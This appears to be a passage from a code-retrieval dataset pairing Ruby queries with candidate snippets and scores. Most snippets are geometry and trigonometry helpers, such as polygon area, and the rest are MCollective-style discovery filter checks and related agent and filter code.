"def circumference_of_circle(r)\n puts PI * 2 * r\nend",
"def funcion1(x)\n\t y = -x * Math.sin(Math.sqrt(x.abs))\n\t # y = -x * Math.sin(Math.sqrt(x.abs * (Math::PI / 180.0 )))\n\t\ty\n\tend",
"def trapezoid(t1, t2, n, &f)\n d=(t2-t1) / n.to_f\n (d/2.0)*(f[t1]+\n 2*(1..(n-1)).inject(0){|ac,i| \n ac+f[t1+d*i]\n }+f[t2])\n end",
"def s2(n)\n n*(n+1)*(2*n+1)/6\nend",
"def law_of_cosines_distance_from(p2)\n Math.acos(Math.sin(latr) * Math.sin(p2.latr) + Math.cos(latr) * Math.cos(p2.latr) * Math.cos(p2.lonr - lonr)) * RADIUS\n end",
"def circumference_of_circle(radius)\n 2 * Pi * radius\nend",
"def cos_func(x)\n\treturn -Math.cos(x - 0.2)\nend",
"def cos _args\n \"cos _args;\" \n end",
"def triagonal_number(n)\r\n\t(n*(n+1))/2\r\nend",
"def acos\n math :acos\n end",
"def nth_octagonal(nth)\n nth * (3 * nth - 2)\nend",
"def circle_side_edge(radius, side_number)\n angle = (DEGREES_PER_STEP * side_number).gosu_to_radians\n CP::Vec2.new(radius, 0).rotate(CP::Vec2.for_angle(angle))\n end",
"def cos\n pass\nend",
"def volume_of_cube(side)\n return ( side ** 3 )\nend",
"def find_center(side)\n position = side / 2\n position = position - 1 if side.even?\n [position, position]\nend",
"def circleArea(r)\n PI * r ** 2 \n #a sort of function called circleArea returns pi*r^2 when given r\nend",
"def radius(n)\n sphere = Math::PI * 4/3 * n**3\n return sphere.round(2)\nend",
"def area_of_circle(r)\n puts PI * (r**2)\nend",
"def phi_ij(omicron, core, point)\n dis2 = 0.0;\n DIMENSION_CNT.times {|i|\n dis2 += (core[i] - point[i]) ** 2;\n }\n Math.exp(dis2 / (-2 * omicron ** 2));\nend",
"def find_direction(r_o, c_o, r_q, c_q)\n (Complex(c_o - c_q, r_o - r_q).phase / Math::PI * 4).round\nend",
"def my_pi(n)\n\treturn Math::PI.round(n)\nend",
"def penta(n)\n return n* (3*n - 1) / 2\nend",
"def tri(n)\n n*(n+1)/2\nend",
"def phi_norm(n)\n primes = n.prime_division.map(&:first)\n primes.map { |p| 1.0 - 1.0 / p }.inject(:*)\nend",
"def g2r(n)\n\tn*(Math::PI/180)\nend",
"def sum_of_interior_angles\n 180 * (@number_of_sides - 2)\n end",
"def circleArea(r)\n PI * r ** 2 \nend",
"def acos _args\n \"acos _args;\" \n end",
"def volume_of_cube(length_of_the_side)\nreturn length_of_the_side.to_i**3\nend",
"def cannabinoid; end",
"def e2w(n, m)\n# n = (n+0.938272)*(n+0.938272) - n*n\n n+m\nend",
"def nth_even(n)\n (n*2) - (2)\nend",
"def radial_basis(x)\n\t\tMath::E ** ( - (x**2) )\t\t\n\tend",
"def reduce_angle2(a,k0=nil) # divisor of pi or nil for pi*2\n # we could reduce first to pi*2 to avoid the mod k0 operation\n k,r,divisor = num_class.context do\n num_class.context.precision *= 3\n m = k0.nil? ? one_cycle : half_cycle/k0\n a.divmod(m)+[m]\n end\n [r, k.modulo(k0*2).to_i, divisor]\n end",
"def sumn2(n)\n result = 0\n 1.upto(n) { |e| result += e if (e % 3 == 0) ^ (e % 5 == 0) }\n puts result\nend",
"def my_pi(n)\n\t#p Math::PI\n\tMath::PI.round(n)\nend",
"def s1(n)\n (n*(n+1)/2)**2\nend",
"def d(n)\n (2..Math.sqrt(n)).inject(1){|s, i| n % i == 0 ? s + i + n/i : s}\nend",
"def angle(*args)\n Math.acos(self.dot(*args))\n end",
"def r2 \n 0.5 #apparently not 0.5 * sqrt(2)\n end",
"def collatz(n)\n if n.even? then\n # blocco eseguito se n e` numero pari\n return n/2 # esco restituendo il valore n/2\n else\n # blocco eseguito se n e` numero dispari\n return 3*n+1 # esco restituendo il valore 3*n+1\n end\nend",
"def lcos(x)\n \n ret = 0.0\n rep = $TRIG_ITER\n\t\t\n while rep > 1\n \n rep -= 1\n\tret += pow(-1, rep) * pow(x, 2 * rep) / fact(2 * rep)\n\t\t\t\t\t\n end\n \n return ret\n \nend",
"def volume_of_cube(side_length)\n return (side_length ** 3)\nend",
"def volume_of_cube(length_of_side)\n return length_of_side ** 3\nend",
"def triangle(n)\n (n *(n + 1)) / 2\nend",
"def volume_of_cube(side_length)\n return side_length ** 3\nend",
"def perimeter\n return @side_length * 4\n end",
"def perimeter(length,width)\n (2 * length) + (2 * width)\nend",
"def middle_square\n [1, 0].product([1, 0]).map do |r, c|\n [(num_rows) / 2 - r, (num_columns) / 2 - c]\n end\n end",
"def by_mod\n l = self\n if (l > Math::PI)\n while (l > Math::PI)\n l = l - 2*Math::PI\n end\n else\n while (l < -Math::PI)\n l = l + 2*Math::PI\n end\n end\n l\n end",
"def angle_rads \n\t\t\t2.0 * Math.atan2( self.vec.mag, self.scalar ) \n\t\tend",
"def Si2(i)\n raise unless 1 <= i\n raise unless i <= n\n # @reps is indexed from the left to right\n index = n - i\n factor = 1.0\n\n # We compute this iteratively leveraging the fact that\n # 1 / (a * b) = (1 / a) / b\n for rep in @reps[0, index]\n factor /= rep\n end\n # Then at this point we have:\n # factor * (1 / (r_i - 1)) = factor / (r_i - 1)\n factor /= @reps[index] - 1\n\n # Second line of the above definition, the lines are multiplied.\n indicies = index_iterator(0, index+1)\n sum = 0.0\n for index in indicies\n a = mean(index)\n b = mean(index[0,index.size-1])\n sum += (a - b) ** 2\n end\n factor * sum\n end",
"def euc_2d(c1, c2)\n Math.sqrt((c1[0] - c2[0])**2.0 + (c1[1] - c2[1])**2.0).round\nend",
"def hyperbolic_cos\n Math.log(Math.tan(Math::PI * random / 2))\n end",
"def phi(n)\n factor(n).map { |p, e| (p - 1) * (p**(e - 1)) }.inject(:*) || 0\n end",
"def create_perpendicular\n p1dot_ = self * P1\n p2dot_ = self * P2\n p1dot_ = -p1dot_ if p1dot_ < 0\n p2dot_ = -p2dot_ if p2dot_ < 0\n p1dot_ < p2dot_ ? (self % P1) : (self % P2)\n end",
"def to_radians(n)\n r = n * (Math::PI / 180)\n return r\n end",
"def degToC(degF)\n (degF-32)*5/9\nend",
"def perimeter radius\n puts radius * radius * PI\n end",
"def n_constant\n 1.0 / basis_functions.length\n end",
"def simpson(t1, t2, n, &f)\n n += 1 unless n % 2 == 0\n d=(t2-t1) / n.to_f \n out= (d / 3.0)*(f[t1.to_f].to_f+\n ((1..(n-1)).inject(0) {|ac,i|\n ac+((i%2==0) ? 2 : 4)*f[t1+d*i] \n })+f[t2.to_f].to_f)\n out\n end",
"def f(a)\n return lsin(a) + calcpi() / 2\nend",
"def ctof (degres)\n return ((degres * 1.8) + 32)\nend",
"def divisors(n)\n (1.upto(n ** 0.5).select { |d| (n % d).zero? }.size * 2) - 1\nend",
"def volume_of_sphere(r)\nreturn 4/3 * 3.141592653 * ( r ** 3 )\nend",
"def to_axis_angle\r\n half_angle = Math.acos(@real)\r\n sin_half_angle = Math.sin(half_angle)\r\n axis = (sin_half_angle.abs < 0.00000001)?\r\n Point3.new(1,0,0) : Point3.new(@axis).scale!(1.0/sin_half_angle)\r\n Quaternion.new(axis,2.0*half_angle)\r\n end",
"def s_radius\n modulus\n end",
"def ftoc(degrees)\n (5 / 9.0) * (degrees - 32)\nend",
"def nth_triangle_number(n)\n n * (n + 1) / 2\nend",
"def idiv n\n (self / n.to_f).to_i\n end",
"def winkel(rhs)\n n = normalen_vektor\n m = rhs.normalen_vektor\n cos = (n * m).abs / (n.norm * m.norm)\n # Floating Point Ungenauigkeiten, können dazu führen, dass cos > 1.0\n # Dieser Fall wird hier abgefangen, damit acos keine Exception wirft\n if cos > 1.0\n cos = 1.0\n end\n Math.acos( cos )\n end",
"def perimeter(length, width)\r\n 2 * (length + width)\r\nend",
"def calc_koef(f, fs)\r\n 2 * Math.cos(2 * Math::PI * f / fs)\r\n end",
"def calculoDiametro(raio)\n return raio * 2\nend",
"def perimeter(length, width)\n return (2 * (length + width))\nend",
"def calcularComprimento(raio)\n return calcularDiametro(raio) * Math::PI\nend",
"def perimeter\n\t\t4 * @side_length\n\tend",
"def circle(r,n)\r\n n.times do |i|\r\n angle = Math::PI * 2 * i/n\r\n yield r*Math.cos(angle), r*Math.sin(angle)\r\n end\r\nend",
"def half\n self / 2.0\n end",
"def perimeter\n\n return @side_len * 4\n\n end",
"def calcPolyRadius(in_rad, num_sides)\r\n x = (Math::PI) / num_sides.to_f # number in radians\r\n return in_rad.to_f / (Math.cos(x))\r\n end",
"def rhl\n return ((hex_side_length - 0.15) * Math.cos(Math::PI / 6)) \n end",
"def cartesian(magnitude, angle)\n[magnitude*Math.cos(angle), magnitude*Math.sin(angle)]\nend",
"def nrm2 incx=1, n=nil\n self.twoDMat.getFrobeniusNorm()\n end",
"def h(x)\n 2*x - @n - 1\n end",
"def side(p_)\n px_ = p_.x\n py_ = p_.y\n (@sx - px_) * (@ey - py_) - (@sy - py_) * (@ex - px_)\n end",
"def volume_of_a_cube(n)\n return n**3\nend",
"def pchi2(n, y)\n if n == 1\n w = Distribution::Normal.p_value(1 - y/2) # = p1.0-Distribution::Normal.cdf(y/2)\n w * w\n elsif n == 2\n # v = (1.0 / y - 1.0) / 33.0\n # newton_a(y, v) {|x| [q_chi2(n, x), -chi2dens(n, x)] }\n -2.0 * Math.log(y)\n else\n eps = 1.0e-5\n v = 0.0\n s = 10.0\n loop do\n v += s\n if s <= eps then break end\n if (qe = q_chi2(n, v) - y) == 0.0 then break end\n if qe < 0.0\n v -= s\n s /= 10.0\n end\n end\n\n v\n end\n end",
"def nth_even(n)\n (n * 2) - 2\nend",
"def trigs(theta)#:: Theta -> R2\n @cos,@sin = %w(sin cos).map{|s| eval(\"Math.#{s} #{theta}\")}\nend",
"def volume_of_sphere(r)\n return (((4*(MATH::PI))/3)*r**3).round()\nend",
"def utopian_odd(h)\n return h * 2\nend",
"def cos\n push Math.cos(pop)\n end"
] | [
"0.65044355",
"0.6304851",
"0.62605315",
"0.62544316",
"0.62100244",
"0.6194194",
"0.61713237",
"0.6136885",
"0.6047905",
"0.60448945",
"0.5999373",
"0.59327984",
"0.5929859",
"0.5905732",
"0.58814245",
"0.5877291",
"0.58489364",
"0.58431923",
"0.5799411",
"0.5769594",
"0.57637733",
"0.57498574",
"0.57352054",
"0.57337683",
"0.572474",
"0.57142746",
"0.5703833",
"0.56964093",
"0.56574965",
"0.5650602",
"0.5611647",
"0.5590793",
"0.55871445",
"0.55841166",
"0.55793995",
"0.556945",
"0.5568545",
"0.5562655",
"0.5529731",
"0.55273414",
"0.55246854",
"0.5523549",
"0.5514941",
"0.55141777",
"0.5505713",
"0.55029863",
"0.548562",
"0.54841626",
"0.5473114",
"0.546982",
"0.546414",
"0.54637104",
"0.546338",
"0.5450504",
"0.5446987",
"0.54437935",
"0.5435449",
"0.5433868",
"0.5433081",
"0.5419892",
"0.5416899",
"0.541591",
"0.5400682",
"0.5399047",
"0.5395884",
"0.53958786",
"0.53945047",
"0.53880364",
"0.53866005",
"0.5384929",
"0.53804266",
"0.53795546",
"0.537887",
"0.53711444",
"0.53709674",
"0.5369808",
"0.5366706",
"0.5359574",
"0.53494626",
"0.5346163",
"0.53406304",
"0.53320146",
"0.53286827",
"0.5320737",
"0.5318413",
"0.53160864",
"0.53158116",
"0.5315701",
"0.53090674",
"0.53012955",
"0.52970904",
"0.52957183",
"0.5294282",
"0.52918965",
"0.52750754",
"0.527503",
"0.5273802",
"0.52715564",
"0.52668434",
"0.5264511"
] | 0.6352075 | 1 |
Area = (1/2)nr^2 sin(2pi/n) | def calculate_area
if @num_sides.is_a?(Fixnum)
angle = (Math::PI * 2)/@num_sides
# add *(r**2) if you want radius
solved = (0.5)*@num_sides*Math.sin(angle)
@solved = solved
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calcularArea(raio)\n return Math::PI * raio**2\nend",
"def calculoArea(raio)\n return raio ** 2 * Math::PI\nend",
"def computeArea(r) #Call to create function computeArea with parameter r\n PI * r ** 2 #Calculates the area using parameter r and constant pi\nend",
"def shapeArea(n)\n return (n*n) + ((n-1)*(n-1))\nend",
"def area radius \n puts radius * 2 * PI\n end",
"def area_of_circle(r)\n puts PI * (r**2)\nend",
"def circleArea(r)\n PI * r ** 2 \n #a sort of function called circleArea returns pi*r^2 when given r\nend",
"def circleArea(r)\n PI * r ** 2 \nend",
"def circleArea(r)\t# Declare a function named circleArea that takes a parameter r (the radius)\n PI * r ** 2 \t# Calculate the area of the circle using the given values\nend",
"def circleArea(r)\t\t\t# Function called circleArea with parameter r\n PI * r ** 2 \t\t\t# Compute the area of the circle with the given r radius\nend",
"def area\n\t\treturn @PI * @radius ** 2\n\tend",
"def area\r\n return ( Math::PI * @radius * @radius).abs\r\n end",
"def area\n\t\tMath::PI * (self.radius ^ 2)\n\tend",
"def area_of_square(length)\n length*length\nend",
"def calculate_circle_area(radius)\n area = PI * radius**2\n return area\nend",
"def circleArea(r)\n # return PI * r^2\n PI * r ** 2\n # set end of circleArea function\nend",
"def getArea(ringNumber)\n\t((ringNumber-1)*2+1)**2\nend",
"def wave\n [*0..60].map do |e|\n (4095 * Math.sin(e * Math::PI / 60)).round\n end\nend",
"def get_area\n\t\tarea = @radius * 2 * @pi\n\t\tputs \"The area of the circle is #{area}\"\n\tend",
"def area_of_circle(radius)\n Math::PI*(radius*radius)\nend",
"def area()\n return Math::PI*(vRadio**2)\n end",
"def area\n return @pi * (@radio * @radio)\n end",
"def circle_area(radius)\n 3.14 * radius ** 2\nend",
"def calculate_area\n\n \tarea = 3.14*@radius*@radius\n\n end",
"def circle_area(circle)\n circle.radius**2*Math::PI\nend",
"def sine(float)\n Math.sin(float)\nend",
"def sine_al_Sun()\r\n sin( al(@ma, @ta, Celes.faom03(@ta)) ) \r\n end",
"def area(length, width)\n a = length * width\n return a\nend",
"def area(length, width)\n length * width\nend",
"def trapezoid(t1, t2, n, &f)\n d=(t2-t1) / n.to_f\n (d/2.0)*(f[t1]+\n 2*(1..(n-1)).inject(0){|ac,i| \n ac+f[t1+d*i]\n }+f[t2])\n end",
"def f(a)\n return lsin(a) + calcpi() / 2\nend",
"def calculate_circle_area(radius)\nend",
"def calculate_circle_area(radius)\nend",
"def sin; end",
"def calculate_area(num1, num2)\n (num1 * num2) / 2\nend",
"def area(length, width)\n length * width # Implicit return\nend",
"def funcion1(x)\n\t y = -x * Math.sin(Math.sqrt(x.abs))\n\t # y = -x * Math.sin(Math.sqrt(x.abs * (Math::PI / 180.0 )))\n\t\ty\n\tend",
"def my_pi(n)\n\treturn Math::PI.round(n)\nend",
"def calculate_circle_area(radius)\n 1 + 1\n \"Hi, from the calculate circle area\"\n PI * radius**2\nend",
"def calculate_circle_area(radius)\n return PI * radius**2\n 1 + 1\n \"Hi, from the calculate circle area\"\nend",
"def sin\n math :sin\n end",
"def radius(n)\n sphere = Math::PI * 4/3 * n**3\n return sphere.round(2)\nend",
"def area (l, b)\n -> { l * b } \nend",
"def area\n x, y, z = sides.sort\n (\n 0.25 * Math.sqrt((x + (y + c)) * (z - (x - y)) * (z + (x - y)) * (x + (y - z)))\n ).to_f.round(precision)\n end",
"def calculate_area\n puts \"Area depends of figure, but we can calculate through triangles\"\n end",
"def npi; end",
"def area\n (@p1.x * @p2.y + @p2.x * @p3.y + @p3.x * @p1.y - @p1.y * @p2.x - @p2.y * @p3.x - @p3.y * @p1.x).abs / 2.0\n end",
"def area\r\n return (( (@p1.x*(@p2.y - @p3.y)) + (@p2.x*(@p3.y - @p1.y)) + (@p3.x*(@p1.y - @p2.y)) )/2.0).abs\r\n end",
"def mean n\r\n\t\t\treturn n * ( 1.0 * @p / ( @p + @q ) )\r\n\t\tend",
"def sine_wave(tone, amplitude)\n wave = []\n 0.step(tone.duration, 1.0/rate) do |t|\n wave << Math.sin(t * tone.angular_frequency) * amplitude + 127;\n end\n return wave\n end",
"def area\n result = @length * @breadth\n puts\n puts \"area of square of length 4 should be 16 ✔\"\n puts \"area of rectangle with #{@length}, #{@breadth} should be #{result} ✔\"\n\n end",
"def area\n return @side_length * @side_length\n end",
"def sinh\n math :sinh\n end",
"def circle(r,n)\r\n n.times do |i|\r\n angle = Math::PI * 2 * i/n\r\n yield r*Math.cos(angle), r*Math.sin(angle)\r\n end\r\nend",
"def center() \r\n # sine_1M = sin( 1.0 * @ma )\r\n # sine_2M = sin( 2.0 * @ma )\r\n # sine_3M = sin( 3.0 * @ma )\r\n # sine_4M = sin( 4.0 * @ma )\r\n # sine_5M = sin( 5.0 * @ma )\r\n # e = eccentricity_Earth()\r\n # sine_1M * ( 2.0 * e - e**3 * 1.0/4.0 + 5/96.0 * e**5 ) + \r\n # sine_2M * ( 5.0/4.0 * e**2 - 11/24.0 * e**4 ) + \r\n # sine_3M * ( 13.0/12.0 * e**3 - 43/64.0 * e**5 ) +\r\n # sine_4M * 103.0/96.0 * e**4 +\r\n # sine_5M * 1097.0/960.0 * e**5 \r\n # sine_1M * ( 1.914602 - @ta * ( 0.004817 + @ta * 0.000014 )) + +\r\n # sine_2M * ( 0.019993 - @ta * 0.000101 ) + +\r\n # sine_3M * 0.000289\r\n eqc( @ma, @ta )\r\n end",
"def calculate_area_of_trapezoid(h,b1,b2)\n puts \"Calculating the area of a trapezoid with height #{h}, top #{b1}, bottom #{b2}\"\n multiply(divide(h, 2), add(b1, b2))\nend",
"def Si2(i)\n raise unless 1 <= i\n raise unless i <= n\n # @reps is indexed from the left to right\n index = n - i\n factor = 1.0\n\n # We compute this iteratively leveraging the fact that\n # 1 / (a * b) = (1 / a) / b\n for rep in @reps[0, index]\n factor /= rep\n end\n # Then at this point we have:\n # factor * (1 / (r_i - 1)) = factor / (r_i - 1)\n factor /= @reps[index] - 1\n\n # Second line of the above definition, the lines are multiplied.\n indicies = index_iterator(0, index+1)\n sum = 0.0\n for index in indicies\n a = mean(index)\n b = mean(index[0,index.size-1])\n sum += (a - b) ** 2\n end\n factor * sum\n end",
"def inradius\n (area / semiperimeter).to_f.round(precision)\n end",
"def y\n r * Math.sin(theta)\n end",
"def circumference_of_circle(r)\n puts PI * 2 * r\nend",
"def area(arr)\n \n x_values = []\n y_values = []\n arr.each do |xy|\n x_values << xy.first\n y_values << xy.last\n end\n \n xmin = x_values.min\n xmax = x_values.max\n \n ymin = y_values.min\n ymax = y_values.max\n \n area = (ymax - ymin) * (xmax - xmin)\n \n area\nend",
"def square_mean\n @square_mean ||= x.map { |i| i**2 }.inject(:+) / n\n end",
"def sine_wave_point(x)\n return @parameters[:amplitude] * Math.sin(\n (2 * Math::PI / @parameters[:period]) * x\n )\n end",
"def my_pi(n)\n\t#p Math::PI\n\tMath::PI.round(n)\nend",
"def sin(x)\n sin_base(num_class[x])\n end",
"def area_of_triangle(base, height)\n (base * height) / 2\nend",
"def perimeter radius\n puts radius * radius * PI\n end",
"def sin(z)\n if Complex.generic?(z)\n sin!(z)\n else\n Complex(sin!(z.real)*cosh!(z.image),\n\t cos!(z.real)*sinh!(z.image))\n end\n end",
"def calc_area (base1,base2,height)\r\n\tarea = height * (base1 + base2) / 2.0\r\n\treturn area\r\nend",
"def sine_to_Earth()\r\n sin(Celes.nut06a(@ajd, 0)[ 1 ] + Celes.obl06(@ajd, 0))\r\n end",
"def area\n w * h\n end",
"def f(x)\n Math.sin(x)\nend",
"def f(phase, var)\n A + (B * Math.sin(phase + (D * var)))\nend",
"def area_of_triangle(base, height)\n #sign for multiply is *, not x. changed b to base\n base * height / 2\nend",
"def area_of_triangle(base, height)\n# change x to *\n # puts b x height / 2\n puts base * height / 2\nend",
"def calculateArea\n\n\treturn @length * @breadth\n\t\n\t\nend",
"def computeArea(h, w) # define a function with 2 parameters\n HALF * h * w # calculate area of triangle\nend",
"def area(box)\n nw_lon = box[0][0]\n nw_lat = box[0][1]\n se_lon = box[1][0]\n se_lat = box[1][1]\n y = abs(nw_lat - se_lat)\n x = abs(nw_lon - se_lon)\n x = x < 180 ? x : 360-x\n return x*y\n end",
"def area\n\t\t@side_length * @side_length\n\tend",
"def simpson(t1, t2, n, &f)\n n += 1 unless n % 2 == 0\n d=(t2-t1) / n.to_f \n out= (d / 3.0)*(f[t1.to_f].to_f+\n ((1..(n-1)).inject(0) {|ac,i|\n ac+((i%2==0) ? 2 : 4)*f[t1+d*i] \n })+f[t2.to_f].to_f)\n out\n end",
"def area\n\n return @side_len * @side_len\n\n\n end",
"def area_circ(rad) # Declaring the area_circ method (area_circ is a local variable) and let it accept a local variable rad\n return $Pie*rad**2 # Returning a calculated value using a global variable and a local Variable\nend",
"def fourier_analysis_reverse(ns,as,bs,c, t0, t1)\n proc{|x|\n 0.5*c + ns.map{|n| as[n-1]*sin(2*PI*n*(x-t0)/(t1-t0)) +\n bs[n-1]*cos(2*PI*n*(x-t0)/(t1-t0))\n }.sum\n }\nend",
"def sin\n Double.new(Math.sin(self.to_f))\n rescue Math::DomainError\n Double.new(::Float::NAN)\n end",
"def calculate_area(num1, num2)\n (num1.to_i.to_f * num2.to_i).round(1)\nend",
"def lsin(x)\n\n ret = 0.0\n i = $TRIG_ITER\n \n while i > 1\n \n i -= 1.0\n\tret += pow(-1, i) * pow(x, (2 * i) + 1) / fact((2 * i) + 1)\n\t\t\n end\n\t\n return ret\n \nend",
"def area_of_rectangle(width, length)\n width*length\nend",
"def area_of_triangle(base, height)\n 0.5*base*height\nend",
"def circumference_of_circle(radius)\n 2 * Pi * radius\nend",
"def sin\n push Math.sin(pop)\n end",
"def pi(n)\n t = 0\n start_i = 0\n\n while start_i < n\n r = rand\n p = (1 - (r * r)) ** 0.5\n t += p\n start_i += 1\n end\n\n 4 * t / n\nend",
"def sine_tl_Sun() \r\n sin( tl(@ma, @ta) ) \r\n end",
"def area\n return @area if defined?(@area)\n\n sum = 0.0\n (0...vertices.length).each do |i|\n prev = vertices[i - 1]\n curr = vertices[i]\n\n sum += ((prev.x * curr.y) - (prev.y * curr.x))\n end\n\n @area = sum / 2\n @area\n end",
"def meter_area(width, length)\n length * width\nend",
"def recArea(w, h) \n w * h \nend",
"def find_area\n\t\t@area = 0.5 * ((@point1.x - @point3.x)*(@point2.y - @point1.y) - (@point1.x - @point2.x)*(@point3.y - @point1.y)).abs\n\tend",
"def square_of_sum\n\t\t@n**2*(@n+1)**2/4\n\tend",
"def find_area height, width \n area= height * width \n puts area \nend",
"def omega(k, n)\n Math::E ** Complex(0, 2 * Math::PI * k / n)\nend",
"def mean_ecliptic_obliquity(t)\n\tsec = 21.448 -t*(46.815 +t*(0.00059 -t*0.001813))\n\trad(23.0 + (26.0 + (sec/60.0))/60.0)\nend"
] | [
"0.68843174",
"0.685642",
"0.66598266",
"0.6621696",
"0.6534662",
"0.64460844",
"0.63729",
"0.6372493",
"0.6320674",
"0.63043904",
"0.62688583",
"0.61950827",
"0.61857027",
"0.6180434",
"0.6166312",
"0.612263",
"0.6105308",
"0.61051494",
"0.60311836",
"0.6022549",
"0.5986301",
"0.5939856",
"0.5921955",
"0.5855522",
"0.5834779",
"0.5739883",
"0.5732419",
"0.5677464",
"0.56707746",
"0.56413627",
"0.5640892",
"0.56294507",
"0.56294507",
"0.5611085",
"0.56051093",
"0.55413437",
"0.55358905",
"0.55189186",
"0.54670095",
"0.5458532",
"0.5412033",
"0.54031044",
"0.53649443",
"0.5346882",
"0.5342846",
"0.5338127",
"0.5335407",
"0.5323117",
"0.5250907",
"0.524267",
"0.5229978",
"0.5229263",
"0.5203929",
"0.5181227",
"0.51759696",
"0.51672775",
"0.51659846",
"0.5149792",
"0.51478004",
"0.5144679",
"0.5142204",
"0.5134061",
"0.51270777",
"0.5124515",
"0.51221484",
"0.51200277",
"0.51130533",
"0.5110308",
"0.51080537",
"0.51060325",
"0.5100222",
"0.50951016",
"0.50944436",
"0.5092678",
"0.50905716",
"0.5056719",
"0.5055006",
"0.5054118",
"0.5051665",
"0.5044031",
"0.50323266",
"0.5016973",
"0.5005222",
"0.50009537",
"0.4996371",
"0.49793327",
"0.49791813",
"0.49782634",
"0.49728733",
"0.49701992",
"0.49593735",
"0.4952615",
"0.49423593",
"0.49379498",
"0.49324483",
"0.4924551",
"0.49113092",
"0.4911049",
"0.49072585",
"0.49000764"
] | 0.6299952 | 10 |
Agent filters are always present no matter what, so we cant raise an error if the capabilities suggest the discovery method cant do agents we just have to rely on the discovery plugin to not do stupid things in the presense of a agent filter | def check_capabilities(filter)
capabilities = ddl.discovery_interface[:capabilities]
unless capabilities.include?(:classes)
raise "Cannot use class filters while using the '%s' discovery method" % discovery_method unless filter["cf_class"].empty?
end
unless capabilities.include?(:facts)
raise "Cannot use fact filters while using the '%s' discovery method" % discovery_method unless filter["fact"].empty?
end
unless capabilities.include?(:identity)
raise "Cannot use identity filters while using the '%s' discovery method" % discovery_method unless filter["identity"].empty?
end
unless capabilities.include?(:compound)
raise "Cannot use compound filters while using the '%s' discovery method" % discovery_method unless filter["compound"].empty?
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_filter(agent, filters, vars)\n agent.reset\n if filters[:discovery]\n agent.discover({:nodes => filters[:discovery]})\n else\n ['identity', 'fact', 'class', 'compound'].each do |kind|\n next unless filters[kind]\n add_filter = agent.method(\"#{kind}_filter\".to_sym)\n if filters[kind].is_a?(String)\n add_filter.call(interpolate(filters[kind], vars))\n else\n filters[kind].each do |filter|\n add_filter.call(interpolate(filter, vars))\n end\n end\n end\n end\n agent\nend",
"def agent_eligible?(agents)\n agent = agents.find { |a|\n a['role'] == \"source\" and a['_resolved']['display_name']['software_name'] == \"Islandora\"\n }\n debug \"Islandora agent eligible: #{agent}\" if agent\n agent\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.current_user.administrator?\n super\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.admin?\n super\n end",
"def test_filter_by_unknown_host_like_known_host\n filter = Galaxy::Filter.new :host => \"fo\" #don't match with \"foo\"\n\n assert_equal [ ], @agents.select(&filter)\n end",
"def discoverable?\n fails_any = false\n\n # TODO Loop through agent requirements\n\n return !fails_any\n end",
"def use_agent?; end",
"def advanced_filters_provided?\n true\n end",
"def array_filters_enabled?\n $array_filters_enabled ||= scanned_client_server!.features.array_filters_enabled?\nend",
"def or_filters_provided?\n true\n end",
"def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"def facterdb_filter(_args = [])\n dynamic_facterdb_filter.ai\n end",
"def is_agent?\n self.dig_for_boolean(\"agentSummary\", \"isAgent\")\n end",
"def isAgent _args\n \"isAgent _args;\" \n end",
"def agent_interface\n super\n end",
"def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end",
"def findAttackAgent(run)\n run.society.each_node do |node|\n mgmtComp = false\n node.each_facet(:role) do |facet|\n if facet[:role] == $facetManagement ||\n facet[:role] == $facetSubManagement ||\n facet[:role] == $facetRootManagement ||\n facet[:role] == 'RootCertificateAuthority' ||\n facet[:role] == 'CertificateAuthority' ||\n facet[:role] == 'RedundantCertificateAuthority' ||\n facet[:role] == 'AR-Management'\n mgmtComp = true\n break \n end \n end\n if mgmtComp == false\n node.each_agent do |agent|\n # get the first agent from this non-management node\n return agent\n end \n end # if securityComp == false\n end # run.society.each_node\nend",
"def agent?\n true\n end",
"def get_agent(description)\n agents = JSON.parse(rpc(\"getAgents\", {}))\n ret_agent = nil\n if agents[\"data\"]\n agents[\"data\"].each do |agent|\n if agent[\"description\"].eql?(description)\n ret_agent = agent\n end\n end\n else\n puts(\"Unable to get list of collectors from the server\")\n end\n ret_agent\nend",
"def autofilter_services\n @autofilter_services || []\n end",
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def agent(channel); end",
"def allowed_filters\n []\n end",
"def use_agent=(use_agent); end",
"def conditional_requests\n @agent.conditional_requests\n end",
"def agent?\n false\n end",
"def agent\n @agent ||= initialize_agent\n end",
"def filterable?; @filterable; end",
"def check_config_and_start_agent\n return unless monitoring? && has_correct_license_key?\n return if using_forking_dispatcher?\n\n setup_and_start_agent\n end",
"def agent; end",
"def method_missing(method_name, *args)\n if m = method_name.to_s.match(/\\Apasses_filter_(\\d+)\\Z/)\n object_filter = ObjectFilter.find(m[1])\n passes_filter? object_filter\n elsif m = method_name.to_s.match(/\\AFilter: (.+)\\Z/)\n object_filter = ObjectFilter.find_by_title(m[1])\n return super unless object_filter\n passes_filter? object_filter\n else\n super(method_name, *args)\n end\n end",
"def autofilter_ports\n @autofilter_ports || []\n end",
"def filter\n # #YELLOW\n if @event['check']['alert'] == false # rubocop:disable GuardClause\n puts 'alert disabled -- filtered event ' + [@event['client']['name'], @event['check']['name']].join(' : ')\n exit 0\n end\n end",
"def filters; end",
"def filters; end",
"def agent_exist?(agent, index, host, user, password, port)\n # Set commands per agent type\n case agent\n when 'flush'\n instance_type = 'publish'\n ip_regex = /Replication test to http:\\/\\/([a-zA-Z0-9\\.\\-]+)\\/dispatcher\\/invalidate.cache/\n when :publish\n instance_type = 'author'\n ip_regex = /Replication test to http:\\/\\/([a-zA-Z0-9\\.\\-]+):4503\\/bin\\/receive\\?sling:authRequestLogin=1/\n end\n # Compose command\n # TODO: rewrite using command_finder\n command = \"curl -u #{user}:#{password} -X GET http://localhost:#{port}/etc/replication/agents.#{instance_type}/#{agent.to_s}#{index}.test.html\"\n Chef::Log.warn \"Running command '#{command}'\"\n # Run command\n runner = Mixlib::ShellOut.new(command)\n runner.run_command\n\n # If no errors and stdout recieved\n if runner.error? || runner.stdout.empty? || runner.stdout.nil?\n Chef::Log.error(\" Command '#{command}'; runner.error?: '#{runner.error?}'; runner.stdout: 